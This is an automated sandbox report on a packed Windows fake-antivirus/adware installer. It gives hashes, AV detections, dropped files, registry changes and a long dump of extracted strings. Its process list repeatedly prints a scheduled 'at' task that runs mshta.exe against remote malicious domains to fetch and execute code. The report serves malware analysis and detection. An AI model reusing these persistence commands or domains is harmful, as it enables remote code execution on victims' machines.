Totalhash sandbox scan report for the file with SHA1 3a81c295f47947d91eff63c44e50bf73e553a472



Analysis Date2013-11-04 22:18:32
MD5b05161d1bf0a1761742cb8ece6cd32a2
SHA13a81c295f47947d91eff63c44e50bf73e553a472

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Language040904E4 
SectionUPX0 md5: d41d8cd98f00b204e9800998ecf8427e sha1: da39a3ee5e6b4b0d3255bfef95601890afd80709 size: 0
SectionUPX1 md5: 0d22f92e59fa550b2aa4cdb622aa88b1 sha1: f8260edab9471ef4105e51331e47baeee6a17585 size: 486912
Section.rsrc md5: 1ba5f6d07ff383485447b98d99d75ca8 sha1: 5af6e0f3f6fc7d7f658a489305f902a376547448 size: 73728
Timestamp2010-12-06 17:48:05
VersionLegalCopyright:
PrivateBuild:
InternalName:
FileVersion: 7.11.2.190
CompanyName: Marmot AG
SpecialBuild:
LegalTrademarks:
Comments:
ProductName:
ProductVersion: 1.0.0.0
FileDescription: Install
OriginalFilename:
PackerUPX -> www.upx.sourceforge.net
PEhash04e81878d273ceda9c663105ac0d8821452f9891
AVavgAdware Generic4.AXMI
AVaviraTR/Fraud.Gen2
AVmsseRogue:Win32/FakePAV

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\WarnOnZoneCrossing ➝
NULL
RegistryHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass ➝
1
Creates FilePIPE\wkssvc
Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FileC:\Documents and Settings\Administrator\Application Data\hotfix.exe
Creates FileC:\Documents and Settings\Administrator\Application Data\jkgbkhjkv.bat
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Creates Processat 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=
Creates Processat 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=
Creates Processat 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=
Creates Processat 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=
Creates Processat 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=
Creates Processat 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=
Creates Processat 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=
Creates Processat 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=
Creates Processat 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=
Creates Process"C:\WINDOWS\system32\mshta.exe" http://reporurweq.com/inst.php?id=xpro_02
Creates Processat 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=
Creates Processat 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=
Creates Processat 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=
Creates Processat 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=
Creates Mutexc:!documents and settings!administrator!local settings!history!history.ie5!
Creates Mutex8FAE9CAE-3F35-4F06-B034-0E1B4D8F6651
Creates MutexWininetConnectionMutex
Creates Mutexc:!documents and settings!administrator!cookies!
Creates Mutexc:!documents and settings!administrator!local settings!temporary internet files!content.ie5!

Process
↳ C:\WINDOWS\system32\cmd.exe

Process
↳ "C:\WINDOWS\system32\mshta.exe" http://reporurweq.com/inst.php?id=xpro_02

RegistryHKEY_CURRENT_CONFIG\Software\Microsoft\windows\CurrentVersion\Internet Settings\ProxyEnable ➝
NULL
RegistryHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass ➝
1
Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FilePIPE\lsarpc
Creates File\Device\Afd\Endpoint
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Winsock DNSreporurweq.com

Process
↳ at 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=

Creates FilePIPE\lsarpc
Creates FilePIPE\atsvc

Process
↳ at 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=

Creates FilePIPE\lsarpc
Creates FilePIPE\atsvc

Process
↳ at 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=

Creates FilePIPE\atsvc

Process
↳ at 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=

Creates File\Device\Tcp
Creates FilePIPE\atsvc

Process
↳ at 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=

Creates FilePIPE\atsvc

Process
↳ at 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=

Creates FilePIPE\lsarpc
Creates FilePIPE\atsvc

Process
↳ at 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=

Creates FilePIPE\atsvc

Process
↳ at 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=

Creates FilePIPE\atsvc

Process
↳ at 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=

Creates File\Device\Tcp
Creates FilePIPE\atsvc

Process
↳ at 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=

Creates FilePIPE\lsarpc
Creates FilePIPE\atsvc

Process
↳ at 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=

Creates File\Device\Tcp
Creates FilePIPE\atsvc

Process
↳ at 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=

Creates FilePIPE\lsarpc
Creates FilePIPE\atsvc

Process
↳ at 12:6 /every:M,T,W,Th,F,S,Su mshta.exe http://funnymarmotshow.com/dkfdasfls.php?dfmjnd=

Creates File\Device\Tcp
Creates FilePIPE\atsvc

Network Details:

DNSreporurweq.com
Type: A

Raw Pcap

Strings
040904E4
1.0.0.0
7.11.2.190
ARE\Borla
BBABORT
BBALL
BBCANCEL
BBCLOSE
BBHELP
BBIGNORE
BBNO
BBOK
BBRETRY
BBYES
Comments
CompanyName
DLGTEMPLATE
DVCLAL
FileDescription
FileVersion
Install
InternalName
LegalCopyright
LegalTrademarks
MAINICON
Marmot AG
OriginalFilename
PACKAGEINFO
PREVIEWGLYPH
PrivateBuild
ProductName
ProductVersion
SOFT
SpecialBuild
StringFileInfo
TEXTFILEDLG	CHARTABLE
TFORM1
TFORM13
TFORM16
TFORM2
TFORM22
TFORM3
TFORM4
TFORM6
TFORM_ALERT
TFORM_BALL
TFORM_SETUP
Translation
TSKLAD
VarFileInfo
VS_VERSION_INFO
 !"#$%
';;';?
{	``..
%};'~#!
%&'()*)@
[0<&`,
0!!0	$
0%)%0##0
00_A~X
0'2eu[
040X\hD
0$4gG<
0!aPW:J
0b5iC~c;
0c@2WFf
0'D`)>/%
0ETgMG
<0>Ia]
0inRcZ
$-0IUXHz;e`oL_
./0lc2
0lRV1N
>0>O_W,
0@	P	`
0R+#Bi
0U8{SJEBTUpt
&0!UC&
0uD`vD7%
=0v7	8
0V'=vCh |
$0[W7mW24Q
#\10U(
11s6;=
11Wr%W112%Wr%22
123456789ABCDEF
1,3M	S%|}
1=4o\n
#*1892y
18y [D
1aMI?J
1:BJfDtdkf|
1C(!1Y_
`!!1El
1Fpww`kq%v`qqlkbv%ajk"
1G@G@'
1>!hXAx
1`)Jo[
1\}LC"
^1\M1\j1)
1MQS'9Qfo
1P*`#5
1+Z/#Vp5H
2(,,|)
%21DNt[
\26{E+|
]2[]8X
 2b/Z"q
(2	c{#
2C("Ds8
2cN\v"
2E8J"QB
2e%h#M
2H(,04
2He$g%hGA
2!h@lP
"`2%I@%
2KjBx@Z
2L P$\
]2>MLXgXL
2/m|.Td
 2N{C)
	2;%pJ
2q*Cjw
,}2R9r
2Sg`^K,
2.sg:s
2sklad
2:;\%W
_2yJSi
* (()@-3$-	*-
32;3-/3
34*>O5
+/3%9-
3B]Q W"V
3E`QIE^f
3hD>'9
_*(3l[
$3lLjbV
3mX\,vP
3OvpRL
3?vJ"Q
+_3wlVE4WE^
?3~w{O
4(,,00j
[43mK+
\!!$448
\$45 C
 4a9|,Q
+*4B&8?
4""C['B
4;C [h
4''''>DIN
$,4<Dy
=[4+eJ
4^G9	U+>
4_/h\w
4=i7FF
4> kOr
4Kp3tH
4lu&?J
4Mijhq
4Nc5l'
_4NL)@`o2
4=nm9&3
4o#@B3h
4ph4z,
{4 PVC 
~4S(I3E3
4/!:v`p 4
4.Xf;P\
4xs/Os:
4Z]mh@d7
5!0atc
53,n*~E
5]54.v
;	5&5	:U
5CxM`M
5$=<dL{
;5+DXP
5@e`x|
5g/-8.
<!+5?I
5ijk[UJjlm
+5?IS$C2
]{5MKl
5PtH;F<B]m
5Q+-qT
5SDO8}
5UE&3D
~5<vEL
<*5zZCf
61>0nochl
64vp[e$g
67`0Ew4`
6*9+d.
!69x\F
6b2jY&
*.6E&0l/
^6EGt&vv
6!%Kn7O
%6k~$x
6lC7|C8
6lkf}tu/\
6Oi5u\@M
  6OiiO/=
6p.+*M@
@6@ppY
6Sv0(H
>6tGI"([
:]6tJx:
6t#/P_
6W+u$d
>6YH!obJW
76;<t|F
7&_7{O
!7>9+e
7B!OAA@
7<bRhe_l
7Cta;5V
7!DOdq
7h7;,O
7Hba%>
*`7hSQox\7
7<*hxI
7{J3<x
7lDQG<
7_M`T2
7NgT)1
7oB{p:
7~odk`
7OeLIKQ]ugg
7ofsX`
7^;pg4
7Rf +Q
	`{;7tz
7UUOO!
7+UyvDM
7!:w-H
87a89v
87L5v;
\+8'8Sl7
899GHH
8@A	kA?
8`DtJ`
8 GauQ
8GVKA@
*8HjTVy
8HOmUu
(8HXhx
8KHFl T
8mSJ4) 
%8o[ 5
8 Pie* l
8)uA,W
8UB@\,JJi
8X_[iVs
8Y4.'#O
+8YC>t
91WX<8
|95$5$N
96vw@i
98i81\
9999plhd9999`\XT9999PLH
9999tplh9999d`\X'
<999D@<
9"[A0D
9B& 22
_|9CM[
9C&)X8
9;deJd
=9D|Ll
9$&H&6&4
9i"\;4
,'9I.9
9i$i(]
)9IYiy
9K\uLV0
9Mg4D;
<9mpSUh
	9!`#P#
9#R+#g
9tTh\.
*9*uF"l
?,9ug#
9wWH	+!?
\9}zX}
?A;[$<
a0F@?3
'A0t$t
A3{3A9
?A5KMU[Hm
a+8t%o{6^aQ
Ab)Dmx
$<Act/
AddSub/MulDiv#
#a~ D&L
adLibr
Adobe>
advapi32.dll
aejE`fkl;==
agMULTI_QI
A,gp\Xr
Ag*Q_us
A{HhFj
AJ.;3TZ
ak	Q':19
AKU_is<
AlphaBlend
AL,Pru`
aNfe^f
anjo~g
A..|!O
$AoH(S
/A(]p[
a@qdwqpu+
#aSOCJiqsro
</assembly>
  <assemblyIdentity
	  <assemblyIdentity
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
a/(sX~+B
At$chTo
Atej 'Xx7
#;A@ti
AULT_CHAR
a_u.n;g
AUP9:B1
	-:av5
a;VPvdG
AwtKGd
axND;r
":AyCd<
+B00t,xc
b`1	b}M
b'	2}d:
b2rWz Jt
B;"34v[
B4tc_H\
B.5=P0
B..6(@
B;7#;+/
b7qjob
!B8QNy
$b8u7=
	b9mgDL
%Ba>Ot
\ bases:
B",B#<
B/BC999
BcpoecUct
BdE`<FdLFe\F"
b!eC2]
Bf/gCi
#BFixup6dh
=bF.R+
	B,G+i7m
b_GR6e
B_gTFo
bH4wab
B^ H F
>BH"U@
Bi#L*#
bIU1-*R,
bkfJ^w
Bk: ,q%
Bk[U5Q
B$LB%\B&lB'
|bLH\+
{;Blt'
-<\%B\n
b$Nb%^
b"ncnV
BN$'P	0
Boolean
Boross&L
bo;zFj
BP`64H
<'_bpd
#bPopupMu6
BPOwc'.
,Bq9?4
+Br[aS
Bt;LKx
Burkes
bxe_y~@
B=Xfu5
BxitL^
 C07op
& c0I2?A
(c) 2004 -
C4LC5\C
c5bu%E
{c6O_X
\C$6vHC
C|7'#D
C<7t-36
c9it1(
`-<	C^a
\$CABC
\*+cB>-[
$==C[-BZk
)C/C0%
#C\C>$D
C@CDe+#H`#
CC+R*'
c?D.	C
CDDE9999EFFG
CDFN:~bh
`CEk+F
CETEEQFeQ*uT
cEw`Er
CEY|OHGekUwjUX
CfI+4y
cg Xa/S
ChLIG	
c=H?W&
 C_i$4e
C$\lC;dsnd
CMk~O[X
Cmp)j{F+Q
CMWaky
CN[)C=
c"nObt!
Cnr)FV
cnv,F?
CNx||99
comctl32.dll
+ControlY
c-P/~&
C&pn(e
CriGS,
ctf8-|
Cu'E0Q
CUiYc)
cuPmf8
:c%V]5VdVi
CVHZ|'
&CWL@j2
'C'%xSp24
`cY)j]
D*0_`$F\
^D0pOz?
D#^|-1
:d4Sh.
`d62;l
d6'wB@
*d7b94
D7P[Y)
D8nadi)
d(912a
&<Da-R
Db[7OP
d:biDo
dBrgd!
/DcL8B
dcT'{}@\R
!d$(,d
d,';Dm
DD[r;i
dEDNZF
d EDtion 
  </dependency>
  <dependency>
	</dependentAssembly>
	<dependentAssembly>
dEppt\R
d}ePUh
#:d(%e RS
"'"&DfMK
[DFwGhoP
d:G(s18-AL
dH.H~Z
~!dHiliLi
Di|>_7
D>IM   
D/j  L
dL0",yO
D,@m3K
dmZmlmk
,,D,n2
;D)o]=
DOSq!O{
[Dp{\h
dp@K|!
	d<Q9fP
/@Dq\Q
D*}s8V
<DT\dl?
&d*'W4Gk
DwmApi
(d`?Xe
d!y ,8
dz*o&H
D`zopy7
dz*!=XE
$@E .{
E	0I~b
E2Je7I
E3`f~6NcA8
e6;H~#U
=E7X5Y
*e;@bUa?cE
.Ebw|H:L
ed{7Mt
EDivbZe
EdZOGF
e/]e=X
efaultPHotLigh
e%Gw%9
eh[%/g
EHw%7%
EH^+>-Y
Ej=qe3
E^l-a\?
ELBGo`b
>(el g
:eL&It(
 EMFtG
e@mv~F3
En=9#=F
Encoding
eO#84g
~EOc~hGFH
`E@O/I
<;EOYc
<EOYcm
Ep<GtLGu
epoaa 
E$+PTmY0:
-Erase 
Er`hpr
EtA7a$I
E uBFh
Eu+JKn
|euP_W@
e[UuXg
Euux*S
EXCEPINFO 7
	ExcepTSxE
eXc[M*`
Exdd>fH
ExitProcess
ExJVA^B
EX%<	SJ&
E,~;xx
e-XZ:~
eY,HNA$
"E[z.{
@EZPP*
(,$F|#
F	?%|[
@F^]0H
\F1@ob
f2_^2V
F*50I'
 	F['6
F64jD`
F.bj+[
"FCBbOL&V
.FDiag{
fdlFj	
Fd}nv_EjT
@few7{
&ff;pc?77
FfZbSK
FGHL0789
*F|%gX8
*f'@:H
{F`*h6>
FiAtomW!a
F\iHjH
.)F'++IU
,FK^;`
FK_C3G
Fk]~qG$
{FL6N%
Flusha
)Fme/c
F^N;)b
fN\:M>
FocusDU
FO{$I%
F_!O;p[|
@/F.p!B
=F{/qbw\Q}YE
%FRange-J.
]f^.T^
Ft?Htb
fTNulWBf@
^FU!U9
FView00
fy	);J
?,#FZi?
?<`G; ;
>\G05Z
g&47<^Zr
G4Yb]V^S
g8\HR{
gABPBGaTr7
gay3K[t>h
GBC	Kt
GbidcGT
G*b!O&
\GBOX\o
gBQR!#
G$C&HtIo
G ?`cL
GCp#cn
g=.c)]s
gdi32.dll
Gdlb"c^{oPn
GetLongPathNameW'
GetProcAddress
<  G f~
g=G~ r
\G=GzlPath@
>GHIJSTUVWXYZcdefghijstuvwx
ghlX#' 
,^	g*i
Gi2ZXX
Gigu1'ic
'GJ|<9
gJ,D59
gjjiqu&
G}K?pP\
Gkt^^]N}6&?
GLCID'T$
Gl@p{&'
_gniiGS'
gOC	Nkj
<=GQ[a
GQboy`
=GQ[eo<
!GrA#?
g-Rf;hw
$Gr%'<(,$Gr$04j
g$slmha
+gsvn0
?!;G$t@F<
gU1_+bnanwB
GVQuI6
GvvjcKd
?gV?x_
GWGE##Y
G^WVY9
gwwQNK:$
G.y2us
g,<`z\
Gz4GC\Zi]
,/="H&
),H{>/
H*(08S!
h0:{Bb
 H&22$
H3WH@Ri
+h.4cMC
%H4p+Qg "I\y
H{56;_
HA:~`S
H|BC*'D
Hb+	MaxL
]=hB>T
 hb:#u&
H?BZ @	]
H[bz3B
H%'	E<a
hfXzgX
HGXho"
Hh7:u'
Hh$/T|
HId;J4u
)hI	'l
HJ.d@>Os
hKdHH/
?+hL55,
$%)=hm
hmM<Ru;%
hmpijk]\[
<$hmr8
H;,M]W
Hm}X.<
h~O"	2
HR68m$ew
h	Rl{aG
^Hr,O0
hRtsur
 $_!HS
Ht)iHCl
{==HtN
hvh~8tt
hwhG(4
H:y6kSh
hz`CiI
~\H+zj^
~HZ,Ww4
` hZXq
I0I4V^!iqqi*
i^0W@P
	i"	2B
i3t7U&k
^}i!(/4
/I%!$5!
i8i9 )
/i9APq/==4
(IBKk*a=
ID~E+B
*iDi\i
	IDispatch
_Idivod_nO?
i$EPF)
i):$f#
iFKjR{
IgaXtX~"j=
 }_ IGE
Igkt	N
i*H@":
I[h%?G=
_ihjoh
||II;E
;IiJ	gq
(iJAnH
&IJD^/
i`jd1r
ijr%pkuwjq`f
iKFs;,
il@eP^$l
iM{4 61
!*Image
ImageList_Add
i`m(hk
Inverflow
IOPla$bmv
IPersist
iq f8BN
IREggV(
]Irt!O
ISDX7G
IS]gq^
]`ity_
i.?Tys
%i	+u!
i{}v' CP
ive>NoAcc
~&].IX
[iX8b#
IXMLDOMI
j'1bk{
J|,2]+
J34r%S
j76nYG
j7O(k1@&
j/8DR;;
 ?J|8z
JaJuNidF
!=/#Jb
Jb|pWw]
jb("Pz
jbw0kf
% 	J!C
J?.DD@
-><JF:
jgjm\VKh
JhydYo89M
)jj**>
JkGARi
jMO{-`	
.jN<K^
JokcQo^QEJKJU
joO*MKj
'J,Q[;l75
_@JQM'&
J^s]K3
JTJpTEc
Jt'Jt5
 $J-U<m@.\.
jWksUi
'=jy"0N
*:JZjz
&k;;?&
,K\]$=
K$.|,`
?)k00l
K3HrcN`D
? `K8u
k%A%IX[
k-A)NB$
|KbeS^
kBy0>a-
kCa:b,
k`}Dh3
K.@DHri
k(:?D ((Zb
>kEdQ[a
k&E`f6.
&`@k;ej
KERNEL32.DLL
 key:!
keysK8p^
=%K;fAM
K;\g@;
kG|]XR{\
=k@H-b
``]kHG:
#K+I0,D
 +	kJk
<!^kk&
+;K[k{
/kk{@"E
kk_RHg
k.lUc3
k+Lw@c
kmS)/	
K<od^_s
kO,D[T
KO{.u)
k:P7g/n
Kp8./H
'kPNF%r
`$kp^v$p}ta
.,K&QI
KRg;2>X
:K?Sk6
kS*TOs(
|k,"tC
[kTZY8<6}
&KVcIp/
kVffvf|
KW0^$l 
-+K&yU-
:kza"D
)kZj0I
l0111a^)\0
'L3'L3'
l%`	3Y
L!7uLK
L@((A	
laE[0f
la@:$GL
LAMRcgER
		language="*"
LayTyHa
\lb8VP_x
'l$;BkDc
l',*:c
lcx;d`+
l"DPt](
L=Dvbc
l E4VU
		  level="asInvoker"
'L]F>/''B
lf")t[
lgF,wbl
l{?-Gh
lH4lD]4
LH''''D@<8''''40,(''''$ 
LHs ii
(liaoiaR
.=Lk^"0
$lK)41
,<L\l|
l(l0aVP+lbnwm
 lLBA#
lllEBB
L'L'M'=
l{Lu+h
l$_Mg`
LoadLibraryA
&lpD	N
L@p`kig
LPp=l|
lQv*L:PO
lRunn{
\,-L%S
Ls/wtd
L*{=tI
lTpte@*
l?u?cW
>}Lu=V
~Lv>fd
%LwJqA
_lX=5R>o
^LxM8`
:(m\\'
.(M@@@
+m2]R}2D
`_^_`M4
,M9q<#x
<(M(cBv
Mc  M6
%MEZ4r
mf8,fk<dl
!M!F}L
! ~mf~RH
M-[fxJ2t
|M<F.Z
m	,	fZa
MH]Yg]
M)hZ?F@D2HTL
M#I$6aj
Middle
#mlJ.D
MlstrcpyW
mLviu$dR<g
|mLVkOK_
 <! mm
-=M]m}
mn9999oPQR9999STUV9999WXYZ9999[\]^9999_@AB9999CDEF9999GHIJ9999KLMN9999O012999934569999789:9999;<=>9999? !"9999#$%&9999'()*9999+,-.9999/
mObjq>I
MO)eGQ
*!,Mo_M
[,MoPw3
M%_P`R
mQ]+QO
)ms/8W
msimg32.dll
MS Sans
Mtk%Cr(E3n)&
MuE;@ A
m&[vfD
MVoc#(
MWDhAh@!
MWH>4C
m/X;5l
<MXcny
;M"ywH
n08{|i|
n7fB:;
n7'V1\W
n7wHHF$
	name="DelphiApplication"
		name="Microsoft.Windows.Common-Controls"
*N^/-C
Ncjv*#
N^c,ZPA
Netscape
=NETSCAPE2.0ANIMEX
$  Ng$
^nh./$1R
nh."1Z3
NigU~@X
NKp*<g
N*l>Eh
nLKb3Dlg
Nm.L_X
N_M	_WwFG
.>N^n~
NNj"""
,($NNNN 
|NNNNxtplNNNNhd`\NNNNXTPLNNNNHD@<NNNN840,NNNN($ 
nog^rDfJ
No]PeC
n?:$(P
N@qw}&
nq{ybe
Nr{2K A
nR33{3
Nsgd[)Q
Nurrency
Nv}ckK
nVtrho
Ny*,MF
_>nY@Y
O\2BI"y
O2IT!p
,O3dm|
o@4B(J
o4/'Oe
O4}YVi
%o5-wz
O8BUYz
OC#Ja0
[O`CM 3
oCOoyo
$"o?dQ;
odSel{
Od	tWx
o$eppe
OEW&0y
o,G4@a2
ojnjUGM
oJw>: 87
-OJzgH,
ole32.dll
oleaut32.dll
OleDraw
OL>JVt
O!L!.N
O,L%yh
omboBox
O<"mjj
o,%Mra-
O!N_Br
{o/?N_n'
.OO9"H
@<-OpP
	Oq+[#
o'	=Qf
,oqFi7
{$oqg(
oRshcu
oseCPP
OSE:j`
o/SJb.A
<oT[_?
O.:^(t
:ouB><
ouf+p[
oU_YPS=9
oyNxeH
(OY~U^a
o@z5m#	
,!*^._P
%/@&P#
P0HT{V
P2;<=r
+p3j<I[3
p(4g"g%
P4JFa|dE
p5@d2kW
'P6.R!
p7*m	b
P8CF(^dIv
!PbcS`]9Ph
:@pB.ma
pbOpI7
 pbQK<
pD8DP]
PDc`D[S
pDH*<lr<
PE)IK08
`PF"Ca
P`G!dl
PG/Fb{R
ph c7.
"p_H:n_[
PI`BpAL
;pICXm$
P[I|G-
;P $i[X
Pjv0n\1?
pLFglE
PLNaf9
p&lo` 
p"L:z*g
/.p\m!
_Pm[6/
,pM[7a
PMDelay
p$/NJM
p\o`,9
|Po$HNHTpt
PO"#>!p
$$"pp($
PP8nHG
p [p`I)C
pP[MP\=
Primar
		processorArchitecture="*"/>
	processorArchitecture="*"/>
pr!t2Ht[e?dy
p#\\Sj
psp6^OYX
p|S_Prz
p^Svb"
PtD'tB
$#PTX;\
		publicKeyToken="6595b64144ccf1df"
P=	u)*D
pUzCg^8iW
P^VGlow
P|^w~#
pWb,)}OJ
:`pWdbBy
Pw>ME5:
P\X28Z
)P,+YI*
\PyWU c!O
PzEx'Neg
{Q>7%]
Q\bfg.u
qB.G0$
Q'bq\.
[Q&B"Q
q.CS,(d`
~ q|:E3
Q>eW~eX
Qhdcv[
$qjeflFm~*
"|%*QN
q	o%Hj
$$QO*P
+;q<Oy0B@3<
`QpNlm
Q& :"Q
q{RCLiG
QRPAOy
q?]S '
Q%+_)	S
QuantL($&8WU
QUQPYN
Qu  Sc2
%Q%u$",Y
~QxO[)
R5e_X@
r9_YJ 
' rAJ_
\R&aQCF
rAqOP`wx
:r[`b2
Rebuil
RegCloseKey
Registry$
&REKWm
rEO	F-A
		<requestedExecutionLevel
	  </requestedPrivileges>
	  <requestedPrivileges>
Requiz
rfacec
-Rf\uV	
RHXfRI
ributei
>(r[j#j
RKQR0=
R$kV-D
	R`k?y
^R@lD:f
?RL&vtZge
\rM+Trpr
<;R]ob
/"rofessX
,ROTSvS
RP@<4f
R"-R#=R$-
rrrr789:
rrrr|xtprrrrlhd`rrrr\XTPrrrrHD@<
rsG`H%C
rsX|nn
:rTkpP(l#3
"RTLbe
R(T;Vj.n
-.R_]W
r-wBHj
Rx,A@,X
<rXJLDA
?/Rz_B
 rZV\S
S}}0	&
+S0BX$U$k
;s0t=;
s!0z@5
S2SSD@G
|S5VdZgC{
@$<S6p+ 
SAB$R	I
sAdapH
Safecal,
saoh+X
SaveDC
$s?AX9H
sc5Unp7
Sd^] ;
	</security>
	<security>
sFWmGw
$(S	.G
sGn`.i
SIW4j3>@
S(J0Rx#
sK5,3I
SlEW|EX
SL`Qs7g
SmNlInt
(S`@.n
s[o4QL>a{I
S%'ock
'!Spjlal
sp@&JN
Spnt7N
|sP)vY
s,>Qj)@H
S=}R>M
SSEXK#
s+SHy2!
$"SS?k
S=S T,
ssViolD
 Stop!
S$UaMA
s>umns
[ s%{%V
S,VW-y!r
swP;6/
sX1bo=,cw
Sy>_$\
<SyK$K
S]YZWE
T0gRlb
't0TXQ,
.T~1Tx
T21232
t2p'{,
T.=3DP
T47I48?3
t	54O#sBNZ
taLeftJ@ify
TAlign
TBi|ndl)
@t\;BP
t<E?-5
t>EtGb/
+tevsss$tgxtbXt]0u
{tEX'*
?tE)!XU
>,Tg:;h~Ijeodd>
tgU40T
This program must be run under Win32
TilSoftk8
timeGetTime
T(is-	
T{?jd'
	TJPEG
tJ^sBcY&}
tKOk"qo
)t$~lI
tM<&d/g
/t&nour
T,nPobc;
+.*TNumb
TNWXsy<A
TObject
T[O>Cfk
TOr0eN$
TOwn"0`Ph
T% )P)
*T;P |@&Zo
tq)<`x~!{0
t):[r]
Tr&'(d
Tr\F0^
  </trustInfo>
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
,T;s$|
TSQL$v
TST6]D#
TThreadLo
TuTTaw
tvq}^-
[Tw05E\
twa@Develop
twiF7,
(*-TWN,,W
*tx``$
t	Y0c]b
ty)=EQ
!TYlY 
Types7
		type="win32"
	type="win32"
TZ'`&v_Z 
!!{u<'
u'1?m{
U@2DP/2
{u$\@5
@*u7@~
uA	ad4
UA|it2
Ubebebe
ubs3`F
 UD9H@I
UdtW:d
 [UG: 
Ugvs:j
)>U?	I
		  uiAccess="false"/>
Ui`d\%fm0n%|j
u.k2 )
U=^M' 
UMKq&,
+U+Mk,QUO2
undA a
UnknownN
uO$F7[
u@o%V\
<[/U/pL~
u	QA.RG
Uq+-/B^
uR#&\n#
user32.dll
uSPnj)w
/-|uTVj
uu]]QQKVILL?
<uV6iPO
.uvCO*
uvtrupe
u@V-Xx
u#`WDVs
uwPjsd2x
\U_)@wU
U-X|h2M|
u``ZD5w
v1S]0tM
V1V0!_
V31LfIgH
V6.%<[`7
.v7&R:
validOp
VariantCopy
:vB4Nt^
VC|6`n
vc;s?la
 vD*r*9
Vd&x[A
VeD\hh
VerQueryValueW
	version="1.0.0.0"
		version="6.0.0.0"
version.dll
?# <VGH7
vhXvxp
VirtualAlloc
VirtualFree
VirtualProtect
ViSr{n
"vkqcl
vLKD;sNk
vl{~lkl
VNSLoop
v~.NT+
Vo\aB	
Vompon
vp]*qdL
VpuX57
$VP)x@
vQ0Uw}
VqK*W|
vR4FIHu^
VRZ*n)bx
@~V ;s
vTabNh
V"t>g/
vV\088b
?(VVKV
VvuW{m
v&wm"n
vX)94S
VY')4[
VZK[%%
{VZZ9V3w
w0lH)'y
W1NMJB
@.W245
[W{2ue&
$`w5/$
W7m9@C3
%W89Ur
w8A)_3
-$w~	9/
=wa. '7
W$Bwa.m
wBzhwb
w[DCOJ)K`
WdSpo`8y
.W@FMu
=Wg>#fkw0
`W&gRf
`WGVew
_!+wH>
+WH<C@
"W h|Y
winmm.dll
w&*IPG
w~j1lwl1j)M0a0
w$japs
w:jt&t
Wkv+WH+
W,| ,MA*}d
,WMb4]
|wmvlq
#wo5FH(
_w;'ob
Wo:W1<
'w~$Pr
WPWLz>
wrrgum
w$)s,/
\%W$%S
w``s2 u
wSA_>DJN
&wssvsm%#4M
%#w|sXE
WT#M9l
Wuw\^W
WWCC) ) 
WXWtMWu]WvmWw}Wx
WY11`5
w{Y@#z
^x~,;{|
\?:\*x
X3MSiXssG
X)5"	;
::x89e
,x\]9n,
@xA{\xh
&Xbog&
.^{;Xc
_xc2Di
x"CjUx3"
XDiv>K>
@&X^g=t
xHO0^Ab(
!X@ Hw"
}XjE,-
xj,HjY
],XK[Gos
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
*{XoQ"
XorCmp4From!C
xPeHro
Xpl@x!k
